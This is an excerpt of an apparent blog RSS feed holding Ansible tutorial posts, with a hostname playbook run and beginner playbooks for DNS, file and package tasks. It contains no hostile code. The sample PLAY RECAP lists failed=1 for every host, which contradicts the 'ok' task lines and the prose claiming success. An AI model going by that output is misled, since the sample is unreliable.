&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To run a playbook, we will be using the &lt;code&gt;ansible-playbook&lt;/code&gt; command. In the case of today&amp;rsquo;s playbook, we won&amp;rsquo;t need any other argument aside from its filename:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@client.ansible.lab : cat simplePlaybookHostname.yml
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- name: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Simple Playbook - Play 1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  hosts: all
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  become: yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  tasks:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - name: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;set hostname on all 5 test servers&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      hostname: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{{ item }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      loop:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - test1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - test2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - test3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - test4
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - test5
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vlku@client.ansible.lab : ansible-playbook simplePlaybookHostname.yml
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PLAY &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Simple Playbook - Play 1&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; ************************************************
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TASK &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;Gathering Facts&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; *********************************************************
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;10.0.0.1&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;10.0.0.2&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;10.0.0.3&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;10.0.0.4&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;10.0.0.5&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TASK &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;set hostname on all &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt; test servers&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; **************************************
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;10.0.0.1&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;10.0.0.2&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;10.0.0.3&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;10.0.0.4&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok: &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;10.0.0.5&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PLAY RECAP *********************************************************************
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;10.0.0.1     : ok&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    changed&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    unreachable&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    failed&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    skipped&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    rescued&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    ignored&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;10.0.0.2     : ok&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    changed&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    unreachable&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    failed&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    skipped&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    rescued&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    ignored&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;10.0.0.3     : ok&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    changed&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    unreachable&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    failed&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    skipped&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    rescued&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    ignored&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;10.0.0.4     : ok&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    changed&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    unreachable&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    failed&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    skipped&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    rescued&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    ignored&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;10.0.0.5     : ok&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    changed&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    unreachable&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    failed&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;    skipped&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    rescued&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;    ignored&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ansible provides us with loads of info when running a playbook:&lt;/p&gt;
&lt;p&gt;First, we&amp;rsquo;ve got the default &amp;ldquo;pre-play&amp;rdquo; task of gathering facts. This is an important stage of running a playbook that involves Ansible collecting info (&amp;ldquo;facts&amp;rdquo;) about the target hosts. Hosts, from which Ansible failed to collect info, will not be processed.&lt;/p&gt;
&lt;p&gt;Next, Ansible starts going through the tasks included in the play. In this instance, all hosts had their hostnames changed successfully but, in event of a failure/problem, Ansible would report the module&amp;rsquo;s error message along.&lt;/p&gt;
&lt;p&gt;Finally, we&amp;rsquo;ve got the recap which is pretty self-explanatory - it summarizes what went down, which hosts were processed successfully (&amp;ldquo;ok&amp;rdquo;), which were affected by the playbook (&amp;ldquo;changed&amp;rdquo;), etc.&lt;/p&gt;
&lt;h2 id=&#34;more-simple-playbooks&#34;&gt;More simple playbooks!&lt;/h2&gt;
&lt;p&gt;As a closing note, I&amp;rsquo;d like to share some easy playbooks with you. You can try running them against the hosts in your lab to get used to how Ansible works. Make sure you have a properly configured &lt;code&gt;ansible.cfg&lt;/code&gt; and an &lt;code&gt;inventory&lt;/code&gt; file handy with at least one host in it. Have fun!&lt;/p&gt;
&lt;p&gt;Playbook 1: Set basic network settings&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Set basic network settings&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;hosts&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;become&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;tasks&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Set hostname to AnsibleFTW&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;hostname&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;ansibleftw&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Set DNS servers&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;net_system&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;name_servers&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          - &lt;span style=&#34;color:#ae81ff&#34;&gt;8.8.8.8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          - &lt;span style=&#34;color:#ae81ff&#34;&gt;8.8.4.4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Playbook 2: File operations&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;File Operations&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;hosts&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;tasks&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Make sure the file exist with touch command&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;file&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;path&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;/tmp/testAnsibleFile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;state&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;present&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Use echo command to add data to the file&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;shell&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;echo &amp;#39;DATA DATA DATA DATA&amp;#39; &amp;gt;&amp;gt; /tmp/testAnsibleFile&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Create a directory to host the file in&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;file&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;path&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;/tmp/testAnsibleDir&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;state&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Copy the file into our new directory&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;copy&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;remote_src&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;src&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;/tmp/testAnsibleFile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;dest&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;/tmp/testAnsibleDir/copyOfAnsibleTestFile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Playbook 3: Repos and Packages&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Repos and Packages&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;hosts&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;tasks&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Create new repo&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;yum_repository&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;epel&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;description&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;EPEL YUM repo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;baseurl&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;https://download.fedoraproject.org/pub/epel/$releasever/$basearch/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Install googler package from EPEL repo&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;yum&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;googler&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;enablerepo&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;epel&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;state&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;present&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content>
    </item>
    
    <item>
      <title>Ansible for Dummies - Part 1</title>
      <link>/posts/220401-ansible-part-1/</link>
      <pubDate>Fri, 01 Apr 2022 00:00:00 +0000</pubDate>
      
      <guid>/posts/220401-ansible-part-1/</guid>
      <description>Before saying anything else, I must admit I wasn&amp;rsquo;t paying attention to Ansible for a very long time - far longer than I&amp;rsquo;m willing to admit. To be perfectly honest, I don&amp;rsquo;t think I would be able to write a single playbook myself last year.
Having that said, it appears I&amp;rsquo;m not the only one who hasn&amp;rsquo;t been paying too much attention to this great tool. Unfortunately lads, the time has come, there&amp;rsquo;s no going around it - IaaC is the future and we just have to skill up.</description>
      <content>&lt;p&gt;Before saying anything else, I must admit I wasn&amp;rsquo;t paying attention to Ansible for a very long time - far longer than I&amp;rsquo;m willing to admit. To be perfectly honest, I don&amp;rsquo;t think I would be able to write a single playbook myself last year.&lt;/p&gt;
&lt;p&gt;Having that said, it appears I&amp;rsquo;m not the only one who hasn&amp;rsquo;t been paying too much attention to this great tool. Unfortunately lads, the time has come, there&amp;rsquo;s no going around it - IaaC is the future and we just have to skill up.&lt;/p&gt;
&lt;p&gt;Now, don&amp;rsquo;t get too worried about it, as I already said, I had absolutely no idea how Ansible and other tools like that work a mere few months ago and it took me just a few weekends of learning to &amp;ldquo;get good&amp;rdquo;. I mean, just last week I passed a 100% Ansible-based Red Hat Certified Engineer exam and the only reason I didn&amp;rsquo;t pass it earlier is all exam centres were closed down March-June.&lt;/p&gt;
&lt;p&gt;Without any further ado, let&amp;rsquo;s move on to the topic of this post - the basics of Ansible. This is going to be a first post in a (long?) series explaining how Ansible works and how to use it.&lt;/p&gt;
&lt;p&gt;Most things covered in this article (excluding the Ansible glossary) are also available in video format: &lt;a href=&#34;https://ssh.guru/get-stuff-done-with-ansible/&#34;&gt;&amp;ldquo;Get stuff done quicker with Ansible&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;what-is-ansible-why-should-i-care&#34;&gt;What is Ansible? Why should I care?&lt;/h2&gt;
&lt;p&gt;Ansible is an automation framework which relies on two technologies: SSH and Python. This makes Ansible very portable, agentless and easy to start with. For example, to start automating your own desktop, all you need is the &lt;code&gt;ansible&lt;/code&gt; package which is widely available on all Linux distros and MacOS (and Windows 10 via WSL):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@rhel.ansible.lab &lt;span style=&#34;color:#75715e&#34;&gt;# yum install ansible&lt;/span&gt;
